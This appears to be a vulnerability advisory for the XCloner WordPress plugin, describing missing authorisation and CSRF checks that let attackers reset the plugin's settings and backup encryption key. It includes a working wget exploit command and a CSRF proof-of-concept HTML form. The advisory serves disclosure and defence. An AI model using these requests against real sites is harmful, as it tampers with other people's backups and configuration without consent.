XCloner < 4.3.6 - Plugin Settings Reset

2022-06-0600:00:00

Krzysztof Zając

0.001 Low

EPSS

Percentile

39.6%

JSON

The plugin does not have authorisation and CSRF checks when resetting its settings, allowing unauthenticated attackers to reset them, including generating a new backup encryption key. v4.3.5 added capability check, but CSRF one still missing.

v < 4.3.5 - wget "http://example.com/wp-admin/admin.php?action=rest-nonce" --post-data="xcloner_restore_defaults=1" -q -O-

v < 4.3.6 (via CSRF):

<form id="test" action="http://example.com/wp-admin/admin-ajax.php?action=rest-nonce" method="POST">
    <input type="text" name="xcloner_restore_defaults" value="1">
    <input type="submit" value="Submit"/>
</form>

0.001 Low

EPSS

Percentile

39.6%

JSON

Related for WPEX-ID:9567D295-43C7-4E59-9283-C7726F16D40B